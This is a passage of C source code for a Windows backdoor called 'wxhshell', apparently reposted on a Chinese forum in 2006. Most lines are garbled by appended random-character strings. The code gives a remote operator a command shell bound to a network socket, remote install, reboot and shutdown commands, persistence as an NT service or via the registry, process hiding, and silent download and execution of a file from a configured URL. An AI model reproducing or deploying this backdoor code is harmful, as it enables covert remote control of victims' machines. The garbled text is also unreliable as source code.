    switch(cmd[0]) { \NK-L."[  
  pBp #a  
  // 帮助 " xR[mJ@U  
  case '?': { l-Nly>~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y&oNv xG-  
    break; <G ~>~L.E  
  } (qBvoLkF9N  
  // 安装 2(M6(xH>  
  case 'i': { 909md|9K3  
    if(Install()) p $ouh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); --fFpM3EvS  
    else 0Fw6Dq<8-!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yGj.)$1},@  
    break; 6CCbBA  
    } wO.iKX;  
  // 卸载 iqwkARG"  
  case 'r': { /nZ;v4  
    if(Uninstall()) X!tf#tl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h}L}[   
    else u~1o(Zn =  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7&B$HZ  
    break; ^qvZ XS  
    } j_cs;G: "  
  // 显示 wxhshell 所在路径 hs+kr?Pg`  
  case 'p': { RJ4. kt  
    char svExeFile[MAX_PATH]; ycAKK?O*  
    strcpy(svExeFile,"\n\r"); O+~ 7l?o  
      strcat(svExeFile,ExeFile); :G5RYi  
        send(wsh,svExeFile,strlen(svExeFile),0); 831JwS R  
    break; -\,zRIOK  
    } r0]4=6U  
  // 重启 RA O`i>@  
  case 'b': { 9z>z3,ftN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IMGP'g  
    if(Boot(REBOOT)) :5fAPK2r<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mXzrEI  
    else { hk>;pU(  
    closesocket(wsh); TsQU6NNE  
    ExitThread(0); z=7|{G  
    } 'gso'&Uaj  
    break; [KJ q  
    } I+(/TP  
  // 关机 ^W?Z  
  case 'd': { #Q"O4 b:8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :G5uocVk  
    if(Boot(SHUTDOWN)) S9| a$3K'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LiQgR 6j  
    else { v(]]_h  
    closesocket(wsh); Gi2$B76<  
    ExitThread(0); 7q =G&e7  
    } K(}AX+rIg  
    break; .L6Zm U  
    } bM,1f/^  
  // 获取shell 9W ^xlid6  
  case 's': { 'x"08v$  
    CmdShell(wsh); I@#;nyAj"  
    closesocket(wsh); kgdT7  
    ExitThread(0); 6uPcXd:8ZR  
    break; 5Por "&%  
  } SQ*k =4*r  
  // 退出 Q]/Uq~m C  
  case 'x': { Q Fm|-j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \55VqGyxu9  
    CloseIt(wsh); ?:{sH#ua  
    break; /4\wn?f  
    } _PFnh)o  
  // 离开 -_ C#wtC  
  case 'q': { SMH<'F7i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8T)&`dM6P~  
    closesocket(wsh); ~@ jY[_  
    WSACleanup(); uw(NG.4  
    exit(1); :#k &\f-Y  
    break; B~ S6R  
        } $j}OB6^I  
  } |*/[`|*G  
  } gKz(=  
` |IUGz  
  // 提示信息 azQD>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XW{>-PBg:  
} QqNW}: #  
  } 'H8(=9O1d  
o2z]dTJ}o  
  return; G;NF5`*4mc  
} xL|;VyD  
(;Y8pKl1e  
// shell模块句柄 )a@k]#)Skm  
int CmdShell(SOCKET sock) tZ`Ts}\e  
{ RlT3Iz;  
STARTUPINFO si; "tjLc6Xl^  
ZeroMemory(&si,sizeof(si)); :cu #V  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g V5zSudW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -HSs^dP`  
PROCESS_INFORMATION ProcessInfo; /sM~U q?  
char cmdline[]="cmd"; xx{!3 F  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2{-ZD ,(u7  
  return 0; HK\~Qnq  
} ~qe%Yq  
/~*_x=p:  
// 自身启动模式 \^I>Q _LU  
int StartFromService(void) akw,P$i  
{ .#02 ngh  
typedef struct n  -(  
{ JSh.]j<bJL  
  DWORD ExitStatus; +)zOer,  
  DWORD PebBaseAddress; @36u8pE  
  DWORD AffinityMask; DCqY|4Qc  
  DWORD BasePriority;  w 4[{2  
  ULONG UniqueProcessId; .EM`.  
  ULONG InheritedFromUniqueProcessId; 2'=T[<nNB  
}   PROCESS_BASIC_INFORMATION; ctE\ q  
AJ#Nenmj  
PROCNTQSIP NtQueryInformationProcess; {*{Ox[Nh{  
c'/l,k  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `al<(FwGE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rZ8`sIWQt  
|rmg#;/D  
  HANDLE             hProcess; 4pw6bK,s2\  
  PROCESS_BASIC_INFORMATION pbi; 7{&|;U  
cGjPxG;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %p%%~ewmx  
  if(NULL == hInst ) return 0; g}@OUG"D  
w$JvB5O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Eke5Nb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ua!aaq&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); boDt`2=  
8M!:N(a  
  if (!NtQueryInformationProcess) return 0; mI74x3 [  
>/|q:b^2r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d!eYqM7-G  
  if(!hProcess) return 0; ,VO2a mI  
iY21Ql%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sr8cYLm5R  
'7O3/GDK  
  CloseHandle(hProcess); `OSN\"\ad  
5\z `-)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <[w=TdCPs  
if(hProcess==NULL) return 0; ]+X@ 7  
a+n0|CvF  
HMODULE hMod; (o`{uj{!  
char procName[255]; ;*MLRXq  
unsigned long cbNeeded; eM8}X[  
/Rl6g9}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !qG7V:6  
Y]&j,j&  
  CloseHandle(hProcess); HTG%t/S  
TYW&!sm  
if(strstr(procName,"services")) return 1; // 以服务启动 p, #o<W  
R17?eucZ  
  return 0; // 注册表启动 -B +4+&{T  
} )ut&@]  
%7|9sQ:  
// 主模块 ZHa"isl$e  
int StartWxhshell(LPSTR lpCmdLine) @;"|@!l|  
{ Yw- G'  
  SOCKET wsl; <7~'; K  
BOOL val=TRUE; q<M2,YrbAI  
  int port=0; AIZ]jq  
  struct sockaddr_in door; >7 ="8  
%^jMj2  
  if(wscfg.ws_autoins) Install(); LGn:c;  
5aCgjA11  
port=atoi(lpCmdLine); |:gf lseE  
4%4 }5UYN  
if(port<=0) port=wscfg.ws_port; \.-bZ$  
#{;k{~;PF  
  WSADATA data; 'tH_p  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^~etm  
~A\GT$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6e |*E`I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J\b^)  
  door.sin_family = AF_INET; 1eF3`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c24dSNJg,  
  door.sin_port = htons(port); $&n=$C&x  
x<ZJb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6^`1\ #f  
closesocket(wsl); Vh4X%b$TV  
return 1; 2GDD!w#!j  
} JJN.ugT}1  
a!v1M2>  
  if(listen(wsl,2) == INVALID_SOCKET) { @J/K-.r  
closesocket(wsl); u I )6M  
return 1; EFM5,gB.m  
} eceP0x  
  Wxhshell(wsl); 8)_XJ"9)G  
  WSACleanup(); 1n;0?MIZ  
J| w>a  
return 0; ds<2I,t  
|IzPgC  
} rD 3v$B  
Hquc o  
// 以NT服务方式启动 [_EZhq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I=`U7Bis"  
{ {'NvG  
DWORD   status = 0; ]>5/PD,wWy  
  DWORD   specificError = 0xfffffff; \"P%`  C  
f*?]+rz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; u0 `S5?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?67Y-\}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "ut39si  
  serviceStatus.dwWin32ExitCode     = 0; GjvOM y  
  serviceStatus.dwServiceSpecificExitCode = 0; 0x@6^ %^\  
  serviceStatus.dwCheckPoint       = 0; UM"- nZ>[  
  serviceStatus.dwWaitHint       = 0; kaVxT_  
p8Qk 'F=h  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1~NT.tY  
  if (hServiceStatusHandle==0) return; n{ar gI8wF  
k_rt&}e+Gi  
status = GetLastError(); |ATvS2  
  if (status!=NO_ERROR) EM(gmWHij  
{ YJT&{jYi  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; j8 ^Iz  
    serviceStatus.dwCheckPoint       = 0; L>Fa^jq5  
    serviceStatus.dwWaitHint       = 0; L [pBB  
    serviceStatus.dwWin32ExitCode     = status; nFHUy9q  
    serviceStatus.dwServiceSpecificExitCode = specificError; *k.G5>@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8e1UmM[  
    return; rZ}:Z'`  
  } &5B'nk"  
3u+T~g0^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }C"%p8=HM  
  serviceStatus.dwCheckPoint       = 0; 8Fz#A.%P  
  serviceStatus.dwWaitHint       = 0; p>v$FiV2N  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "o-z y'I  
} *av<E  
B9jC?I |`  
// 处理NT服务事件,比如:启动、停止 *&^Pj%DX  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t%/&c::(6  
{ l<58A7  
switch(fdwControl) spH7 /5}  
{ IL#"~D?  
case SERVICE_CONTROL_STOP: m$>H u@Va  
  serviceStatus.dwWin32ExitCode = 0; P~>O S5^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H)kwQRfu  
  serviceStatus.dwCheckPoint   = 0; Fo5FNNiID  
  serviceStatus.dwWaitHint     = 0; X9W@&zQ  
  { :^6y7&o[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q4#m\KK;i9  
  } LM<qT-/qs  
  return; l*Gvf_UH  
case SERVICE_CONTROL_PAUSE: $]/{[@5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; aFX=C >M  
  break; )-I { ^(  
case SERVICE_CONTROL_CONTINUE: _7Ju  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /|6N*>l)y  
  break; g[' ^L +hd  
case SERVICE_CONTROL_INTERROGATE: WUn]F~Lt  
  break; u5`u>.!  
}; z% ?+AM)P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xX&+WR  
} _YhES-Ff  
w e//|fA<  
// 标准应用程序主函数 ^eY!U%.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) cKca;SNql1  
{ U`(ee*}o  
*SJ_z(CZm  
// 获取操作系统版本 G" qv z{*  
OsIsNt=GetOsVer(); zZPO&akB"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); J5K^^RUR  
 ~d.Y&b  
  // 从命令行安装 Ju@c~Xm  
  if(strpbrk(lpCmdLine,"iI")) Install(); nfbR P t  
J/y83@  
  // 下载执行文件 Ko<:Z)PS  
if(wscfg.ws_downexe) {  ,f%S'(>w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hn G Z=  
  WinExec(wscfg.ws_filenam,SW_HIDE); JX;<F~{.  
} I{ C SH  
BA:VPTZq  
if(!OsIsNt) { SwGx?U  
// 如果时win9x,隐藏进程并且设置为注册表启动 vH@ds k  
HideProc(); z\W64^'"Z  
StartWxhshell(lpCmdLine); NIry)'"  
} Rsm^Z!sn  
else 6xx ?A>:  
  if(StartFromService()) \;B iq`  
  // 以服务方式启动 (=AWOU+  
  StartServiceCtrlDispatcher(DispatchTable); -=Q*Ml#I  
else 6@5+m 0`u3  
  // 普通方式启动 `Y$4 H,8L  
  StartWxhshell(lpCmdLine); _1\v  
L,/%f<wd  
return 0; K\Wkoi5  
}
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只看该作者 1 发表于: 2006-10-10
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